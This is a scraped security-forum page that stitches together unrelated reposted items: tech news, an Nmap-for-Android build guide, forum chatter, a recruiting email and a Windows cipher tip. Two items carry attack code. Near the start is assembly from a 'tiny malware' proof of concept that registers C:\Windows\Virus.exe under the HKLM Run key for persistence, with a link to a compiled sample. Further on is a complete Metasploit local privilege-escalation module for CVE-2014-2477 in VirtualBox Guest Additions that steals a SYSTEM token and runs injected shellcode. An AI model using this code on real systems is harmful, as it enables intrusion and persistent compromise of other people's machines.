dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]40[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x75525c6e[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]36[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f697372[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]32[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6556746e[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]28[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x65727275[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]24[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x435c7377[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]20[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f646e69[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]16[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x575c7466[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]12[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f736f72[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]8[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x63694d5c[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x65726177[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#008000]][/COLOR], [COLOR=#208080]0x74666f53[/COLOR] [COLOR=#008080];[/COLOR]Software\Microsoft\Windows\CurrentVersion\Run push [COLOR=#208080]0xC00ADE0[/COLOR] [COLOR=#008080];[/COLOR] PHKEY phkResult push [COLOR=#208080]0xC00ADAC[/COLOR] [COLOR=#008080];[/COLOR] lpSubkey [COLOR=#000080]=[/COLOR] Software\Microsoft\Windows\CurrentVersion\Run push [COLOR=#208080]0x80000002[/COLOR][COLOR=#008080];[/COLOR] HKEY [COLOR=#000080]=[/COLOR] HKEY_LOCAL_MACHINE mov ecx, [COLOR=#208080]0x0C000000[/COLOR] call dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0xA8[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] RegCreateKeyA mov ecx, [COLOR=#208080]0x0C000000[/COLOR] MOV DWORD[COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE5[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x69726976[/COLOR] [COLOR=#008080];[/COLOR] viri string, will be used as registry value name MOV EDI, [COLOR=#208080]0xC00ADEC[/COLOR] [COLOR=#008080];[/COLOR] Address of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR] string SUB ECX,ECX SUB AL,AL NOT ECX CLD REPNE SCASB NOT ECX DEC ECX [COLOR=#008080];[/COLOR] Length of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR], instead of hardcoding, we calculate it dynamically, incase some computers have Windows installed in WINNT or any other name MOV EBX, [COLOR=#208080]0x0C000000[/COLOR] MOV EDI, [COLOR=#208080]0xC00ADEC[/COLOR] PUSH ECX [COLOR=#008080];[/COLOR] DWORD cbData [COLOR=#008000]([/COLOR]length of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR][COLOR=#008000])[/COLOR] PUSH EDI [COLOR=#008080];[/COLOR] LPCVOID lpData [COLOR=#008000]([/COLOR]C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR][COLOR=#008000])[/COLOR] PUSH [COLOR=#0000dd]1[/COLOR] [COLOR=#008080];[/COLOR] DWORD dwTYPE [COLOR=#000080]=[/COLOR] REG_SZ PUSH [COLOR=#208080]0x0C00ADE5[/COLOR] [COLOR=#008080];[/COLOR] LPCTSTR lpValueName [COLOR=#000080]=[/COLOR] viri PUSH [COLOR=#0000dd]0[/COLOR] [COLOR=#008080];[/COLOR] LPCTSTR lpSubKey [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]NULL[/COLOR] [COLOR=#008000]([/COLOR]will use already open key[COLOR=#008000])[/COLOR] PUSH DWORD [COLOR=#008000][[/COLOR]EBX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] HKEY hKey [COLOR=#000080]=[/COLOR] output of previous RegCreateKeyA call CALL DWORD [COLOR=#008000][[/COLOR]EBX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xAC[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] RegSetKeyValue MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] HKEY hKey[COLOR=#008080];[/COLOR] Call DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xB0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] call RegCloseKey Result: Anyway, you can see entire source code here. To compile you need to run two commands: nasm -fwin32 IATLess.asm link /subsystem:windows /entry:start IATLess.obj No .data section: and no IAT entry: PEStudio screenshot: UPDATE: As requested, I uploaded compiled file here. Password: infected Sursa: https://www.codeandsec.com/PoC-Tiny-Malware-Without-IAT-DATA-Or-Resource-Section

Yes, Google Maps is tracking you. Here's how to stop it VentureBeat Google is probably logging your location, step by step, via Google Maps. Want to see what kind of data it has on you? Check out Google’s own location history map, which lets you see the path you’ve traced for any given day that your smartphone has been running Google Maps. In the screenshot above, it shows some of my peregrinations around Paris in June of this year. This location history page has actually been available for several years, since Google first rolled it out as part of Latitude, its now-defunct location-sharing app. Cnet noticed it in December, 2013, TechCrunch picked it up a few days later, and now Junkee.com noticed it last week. We’re highlighting it again because it’s trivially easy to turn off Google Maps location-tracking, if you want to. In fact, I checked the location history page this morning and had difficulty finding any location data at all, because I’ve had location tracking turned off for months, with a few exceptions. To turn off location tracking, just follow these easy steps. How to delete your location history View your location history using Google’s web page. Set a time period to view — up to 30 days at a time. Select the period you want to delete. Click the “Delete history from this time period” link on the left side of this page. If you have multiple Google accounts, check the history for each one. To turn off location tracking in Android Go to the Settings app. Scroll down and tap on the Location section. Tap Google Location Reporting. Switch Location History to “off.” Note: For greater privacy, you can also turn off Location Reporting, but this will keep apps like Google Maps from working properly. How to turn off location tracking in iOS Open the Settings app. Scroll down to Privacy, and select Location Services. Disable all Location Services by setting the top slider to “off” — or scroll down to disable specific apps one by one, such as Google Maps. Take the steps above, and your location history will look something like mine does, below. For more details, check out this LifeHacker article: PSA: Your phone logs everywhere you go. Here’s how to turn it off. Hat tip: John Koetsier. Above: “You have no location history,” Google says — if you’ve refused to let it log your locations. Sursa: Yes, Google Maps is tracking you. Here's how to stop it - Prismatic

Nmap 6.46 on Android August 17, 2014 I’ve just cross compiled Nmap 6.46 on Android since I did not do it for a while. If you just need binary, it’s here: http://ftp.linux.hr/android/nmap/nmap-6.46-android-arm-bin.tar.bz2 If you need details, go here: https://secwiki.org/w/Nmap/Android Building Nmap from source (without SSL) If you want to build it from the source, process is pretty straightforward: git clone https://github.com/kost/nmap-android.git cd nmap-android cp -a android ~/src/nmap-6.46/ cd ~/src/nmap-6.46/android #(adjust paths if needed in Makefile) make doit Building Nmap from source (with OpenSSL) I see many people try to cross compile Nmap with OpenSSL support. Since, I did not specify OpenSSL part of cross compiling, I see there’s lot of complicated ways people do it. For example, like Gorjan Petrovski here: Umit project: Cross-compilation of a static Nmap with OpenSSL for Android In short, compiling of whole Android tree is not necessary. You just need to use same compiler for everything. I’m assuming you have NDK installed and standalone toolchain in PATH. For building zlib, I’m using following snippet: export CCARCH=arm-linux-androideabi CC="${CCARCH}-gcc" ./configure --prefix=/sdcard/opt/zlib-1.2.8 make make install For building OpenSSL, I’m using following snippet: export CCARCH=arm-linux-androideabi ./Configure dist --prefix=/sdcard/opt/openssl-1.0.1i make CC="${CCARCH}-gcc" AR="${CCARCH}-ar r" RANLIB="${CCARCH}-ranlib" LDFLAGS="-static" make install For building Nmap, I’m using following snippet: git clone https://github.com/kost/nmap-android.git cd nmap-android cp -a android ~/src/nmap-6.46/ cd ~/src/nmap-6.46/android #(YOU have to EDIT makefile to adjust NDK and OpenSSL paths) make havendk Note: If you plan to compile OpenSSL support, you need to edit Makefile before issuing make havendk in order to specify OpenSSL path. You should have binaries in place after build. You can strip them and transfer to your Android device. Sursa: Nmap 6.46 on Android | k0st

[h=2]Cybersecurity as Realpolitik[/h] Power exists to be used. Some wish for cyber safety, which they will not get. Others wish for cyber order, which they will not get. Some have the eye to discern cyber policies that are "the least worst thing;" may they fill the vacuum of wishful thinking. Keynote Transcript ... Link: https://www.blackhat.com/us-14/archives.html

CipherShed CipherShed on OSX CipherShed is free (as in free-of-charge and free-speech) encryption software for keeping your data secure and private. It started as a fork of the now-discontinued TrueCrypt Project. Learn more about how CipherShed works and the project behind it. CipherShed is cross-platform; It will be available for Windows, Mac OS and GNU/Linux. The CipherShed project is open-source, meaning the program source code is available for anyone to view. We encourage everyone to examine and audit our code, as well as encourage new ideas and improvements. We have several methods of communication for anyone to ask questions, get support, and become involved in the project. For more detailed information about the project, including contributing code and building from source, please visit our technical wiki. Link: https://ciphershed.org/

[h=1]The Global Internet Is Being Attacked by Sharks, Google Confirms[/h] By Will Oremus Sharks' attraction to undersea fiber-optic cables has been well-documented over the years. Screenshot / YouTube The Internet is a series of tubes ... that are sometimes attacked by sharks. Reports of sharks biting the undersea cables that zip our data around the world date to at least 1987. That’s when the New York Times reported that “sharks have shown an inexplicable taste for the new fiber-optic cables that are being strung along the ocean floor linking the United States, Europe, and Japan.” Now it seems Google is biting back. According to Network World’s Brandon Butler, a Google product manager explained at a recent event that the company has taken to wrapping its trans-Pacific underwater cables in Kevlar to guard against shark bites. Google confirmed to me that its newest generation of undersea cables comes wrapped in special protective yarn and steel wire armor—and that the goal is to protect against cable cuts, including possible shark attacks. Here's an old video of what that looks like, in case you were wondering: To digress for a moment, it’s not clear that the coating Google is using is actually Kevlar, per se. A little searching on Google’s own handy website reveals that the company actually holds a patent of its own for a material called “polyethylene protective yarn.” It makes sense that Google would be investing in better ways to protect transoceanic data cables. Over the years there have been several instances in which damage to undersea lines resulted in widespread disruptions of Internet service. Dependable network infrastructure has become increasingly essential to Google’s business, which relies on ultra-fast transmissions of information between its data centers around the world. On Monday, Google infrastructure czar Urs Holzle announced that the company is helping to build a new trans-Pacific cable system connecting the United States to Japan at speeds of up to 60 Tbps. “That’s about 10 million times faster than your cable modem,” Holzle noted. Google’s partners on the project include China Mobile and SingTel. Why are sharks attracted to undersea data cables? Unclear. Several outlets have pointed out that sharks can sense electromagnetic fields, so perhaps they’re attracted by the current. Alternatively, a shark expert from Cal State-Long Beach suggested to Wired, they may just be curious. Anyone with a dual expertise in chondrichthyan behavior and electrical engineering is warmly invited to offer a more compelling explanation in the comments below. Regardless, it’s clear their powerful bites can cause real problems. Popular Science dredged up a 2009 UN Environmental Program report that includes the following rather convincing background information: Fish, including sharks, have a long history of biting cables as identified from teeth embedded in cable sheathings. Barracuda, shallow- and deep-water sharks and others have been identified as causes of cable failure. Bites tend to penetrate the cable insulation, allowing the power conductor to ground with seawater. Forget Google vs. Apple, Google vs. Amazon, and Google vs. Facebook. My new favorite tech rivalry is Google vs. shark. Sursa: Shark attacks threaten Google's undersea Internet cables. (Video)

Aici postati reclamatii la adresa staff-ului: administratori si moderatori. Nu ca le-am acorda prea multa importanta, dar va veti simti mai bine. Nu mai postati aici plangeri despre tepe. Si sa nu vad plangeri legate de tepe luate de la useri cu mai putin de 50-100 de posturi.

Suntem tot aici

Kewl

Am discutat in trecut cu cineva de la Amazon si azi am primit acest mail. I wanted to let you know that Amazon is coming to Poland and Romania for a recruiting event. Amazon—a place where builders can build. We hire the world's brightest minds and offer them an environment in which they can invent and innovate to improve the experience for our customers. We want employees who will help share and shape our mission to be Earth's most customer-centric company. Amazon's evolution from Web site, to e-commerce partner, to development platform, is driven by the spirit of invention that is part of our DNA. We do this every day by solving complex technical and business problems with ingenuity and simplicity. We're making history, and the good news is that we've only just begun. Sound interesting? I would love for you to send back the questions below along with your most recent resume. · Are you open to relocating to Seattle, UK or Canada with relocation assistance for the right opportunity? Please list order of preference: · Do you have a university degree? What was it in? · Will you currently or in the future need work sponsorship from Amazon? If yes, could you explain what visa you are currently on, and when it will expire? · What is your current compensation (base, bonus, equity) and what would you expect to see in a future offer? · Have you ever interviewed with Amazon.com US or internationally? If yes, when and with which team? · Are you currently an individual contributor or a people manager? If you are a manager, how many direct reports do you currently have? · Are you currently interviewing with other companies? Do you have or are you expecting to have an upcoming offer deadline from another company? Please send me a confirmation email ASAP with your updated resume for review. We value your referrals, please don’t hesitate to share my information with any of your friends/colleagues who may be interested. Daca e cineva interesat sa imi dea CV-ul pe PM.

Mentiune: cryptarea/decryptarea se face pe blocuri de 16 bytes. Adica 128 de biti. Adica e AES pe 128 de biti. (sa inteleaga toata lumea)

VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::FileInfo include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info={}) super(update_info(info, { 'Name' => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation', 'Description' => %q{ A vulnerability within the VBoxGuest driver allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest Additions up to 4.3.10r93012. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC 'Jay Smith <jsmith[at]korelogic.com>' # MSF module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ ['Windows XP SP3', { 'HaliQuerySystemInfo' => 0x16bba, '_KPROCESS' => "\x44", '_TOKEN' => "\xc8", '_UPID' => "\x84", '_APLINKS' => "\x88" } ] ], 'References' => [ ['CVE', '2014-2477'], ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt'] ], 'DisclosureDate'=> 'Jul 15 2014', 'DefaultTarget' => 0 })) end def fill_memory(proc, address, length, content) session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") if not proc.memory.writable?(address) vprint_error("Failed to allocate memory") return nil else vprint_good("#{address} is now writable") end result = proc.memory.write(address, content) if result.nil? vprint_error("Failed to write contents to memory") return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") end return address end def check if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ return Exploit::CheckCode::Safe end handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) os = sysinfo["OS"] unless (os =~ /windows xp.*service pack 3/i) return Exploit::CheckCode::Safe end file_path = expand_path("%windir%") << "\\system32\\drivers\\vboxguest.sys" unless file?(file_path) return Exploit::CheckCode::Unknown end major, minor, build, revision, branch = file_version(file_path) vprint_status("vboxguest.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") unless (major == 4) return Exploit::CheckCode::Safe end case minor when 0 return Exploit::CheckCode::Vulnerable if build < 26 when 1 return Exploit::CheckCode::Vulnerable if build < 34 when 2 return Exploit::CheckCode::Vulnerable if build < 26 when 3 return Exploit::CheckCode::Vulnerable if build < 12 end return Exploit::CheckCode::Safe end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end unless check == Exploit::CheckCode::Vulnerable fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") end handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device") end print_status("Disclosing the HalDispatchTable address...") hal_dispatch_table = find_haldispatchtable if hal_dispatch_table.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Filed to disclose HalDispatchTable") else print_good("Address successfully disclosed.") end print_status('Getting the hal.dll base address...') hal_info = find_sys_base('hal.dll') fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil? hal_base = hal_info[0] print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}") hali_query_system_information = hal_base + target['HaliQuerySystemInfo'] print_status("Storing the shellcode in memory...") this_proc = session.sys.process.open restore_ptrs = "\x31\xc0" # xor eax, eax restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation restore_ptrs << "\xa3" + [hal_dispatch_table + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax kernel_shell = token_stealing_shellcode(target) kernel_shell_address = 0x1 buf = "\x90" * 0x6000 buf[0, 56] = "\x50\x00\x00\x00" * 14 buf[0x5000, kernel_shell.length] = restore_ptrs + kernel_shell result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0) session.railgun.kernel32.CloseHandle(handle) print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") session.railgun.ntdll.NtQueryIntervalProfile(2, 4) print_status("Checking privileges after exploitation...") unless is_system? fail_with(Failure::Unknown, "The exploitation wasn't successful") else print_good("Exploitation successful!") end p = payload.encoded print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") if execute_shellcode(p) print_good("Enjoy") else fail_with(Failure::Unknown, "Error while executing the payload") end end end Sursa: VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation - CXSecurity.com

How to securely overwrite deleted files with a built-in Windows tool Ian Paul @ianpau Most Windows users know that when you delete a file on a PC, it isn't truly gone and can still be recovered. In fact, those deleted files are actually just sitting there on your hard drive until they are overwritten with new data. To truly wipe data, users often turn to apps like CCleaner or Eraser that wipe free space for you. But Windows also has a built-in feature called Cipher that will overwrite deleted files for you and may even free up some extra disk space in the process. Commanding Windows To use Cipher we have to dive into an area of your Windows machine that some hassle-free readers may have little experience with: the Command Prompt. Don't worry, though. While the command line can be a scary place, Cipher is a fairly safe feature. That said, it's always best to make sure you have your data backed up before giving something like this a try. Also, make sure you type the command correctly to avoid any unintended consequences. Cipher isn't just a tool to overwrite deleted data it can also be used to encrypt data, which is not what we want in this case. Dump the deletions To get started you have to open a command prompt. To do this in Windows 8.1, hit the Windows key + S and type command prompt into the search box. Wait for the results to show up and then click the command prompt option. In Windows 7, it's easiest to click on Start > Run and then type cmd into the box and press enter. Now for the easy part. If you have a standard Windows installation type or copy and paste the following command: cipher /w:C What this tells Windows to do is to start the Cipher program. The '/w' switch says to remove any data from the available unused disk space, and C tells Windows to carry out this action on the C:\ drive. If your data is on a different drive such as a partition labeled D:\ simply substitute C for the correct drive letter. For most people, however, C will be the right choice. Now, just sit back and wait for Windows to do its magic. This is one of those tasks you should run when you're not using your PC. Consider running it overnight or during downtime on the weekend. Windows will also advise you to close as many running programs as possible to help the machine do a better job of clearing up your hard drive. Not only will cipher clean up your drive, it may also have the added benefit of returning some extra disk space to you. Recently, I let cipher run and got back about 10GB on a four year-old PC. Sursa: How to securely overwrite deleted files with a built-in Windows tool